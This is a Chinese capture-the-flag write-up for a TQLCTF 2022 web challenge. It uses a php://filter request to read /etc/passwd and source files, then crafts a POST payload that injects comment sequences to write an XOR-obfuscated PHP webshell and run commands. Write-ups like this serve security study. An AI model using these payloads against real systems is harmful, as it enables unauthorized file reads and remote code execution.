[TQLCTF_2022]web复现

98 阅读1分钟

本文已参与「新人创作礼」活动,一起开启掘金创作之路。

注册登陆,查看图片 ​​​ 使用伪协议我们可以读取到/etc/passwd

image.png 想要读取get_pic.php和index.php但是不知道文件路径,所以使用php伪协议

/get_pic.php?image=php://filter/convert.base64-encode/resource=get_pic.php | index.php|sandbox/202cb962ac59075b964b07152d234b70.php

get_pic.php源码

<?php
error_reporting(0);
$image = (string)$_GET['image'];
echo '<div class="img"> <img src="data:image/png;base64,' . base64_encode(file_get_contents($image)) . '" /> </div>';
?>

index.php部分源码

<?php
error_reporting(0);
if(isset($_POST['user']) && isset($_POST['pass'])){
	$hash_user = md5($_POST['user']);
	$hash_pass = 'zsf'.md5($_POST['pass']);
	if(isset($_POST['punctuation'])){
		//filter
		if (strlen($_POST['user']) > 6){
			echo("<script>alert('Username is too long!');</script>");
		}
		elseif(strlen($_POST['website']) > 25){
			echo("<script>alert('Website is too long!');</script>");
		}
		elseif(strlen($_POST['punctuation']) > 1000){
			echo("<script>alert('Punctuation is too long!');</script>");
		}
		else{
			if(preg_match('/[^\w\/\(\)\*<>]/', $_POST['user']) === 0){
				if (preg_match('/[^\w\/\*:\.\;\(\)\n<>]/', $_POST['website']) === 0){
					$_POST['punctuation'] = preg_replace("/[a-z,A-Z,0-9>\?]/","",$_POST['punctuation']);
					$template = file_get_contents('./template.html');
					$content = str_replace("__USER__", $_POST['user'], $template);
					$content = str_replace("__PASS__", $hash_pass, $content);
					$content = str_replace("__WEBSITE__", $_POST['website'], $content);
					$content = str_replace("__PUNC__", $_POST['punctuation'], $content);
					file_put_contents('sandbox/'.$hash_user.'.php', $content);
					echo("<script>alert('Successed!');</script>");
				}
				else{
					echo("<script>alert('Invalid chars in website!');</script>");
				}
			}
			else{
				echo("<script>alert('Invalid chars in username!');</script>");
			}
		}
	}
	else{
		setcookie("user", $_POST['user'], time()+3600);
		setcookie("pass", $hash_pass, time()+3600);
		Header("Location:sandbox/$hash_user.php");
	}
}
?>

哎,真是眼拙,比赛的时候一直在伪协议那边绕,没仔细看这块代码

sand/*.php部分源码

image.png index源码限制为

1、用户名长度小于6位
2、punctuation无法使用数字字母

通过测试发下html不用闭合一些标签也还可以执行的

image.png

然后就可以总结怎样利用
闭合user-->注释user到punc之间的内容-->punc闭合注释,写入代码-->注释剩余代码,如下

image.png

网上找一个webshell

user=1)/*&pass=1&website=&punctuation=*/;@$_%2b%2b;$__='#./|{'^'|~`//';${$__}[!$_](${$__}[$_]);/*

image.png 注册后将用户名md5后访问,执行命令即可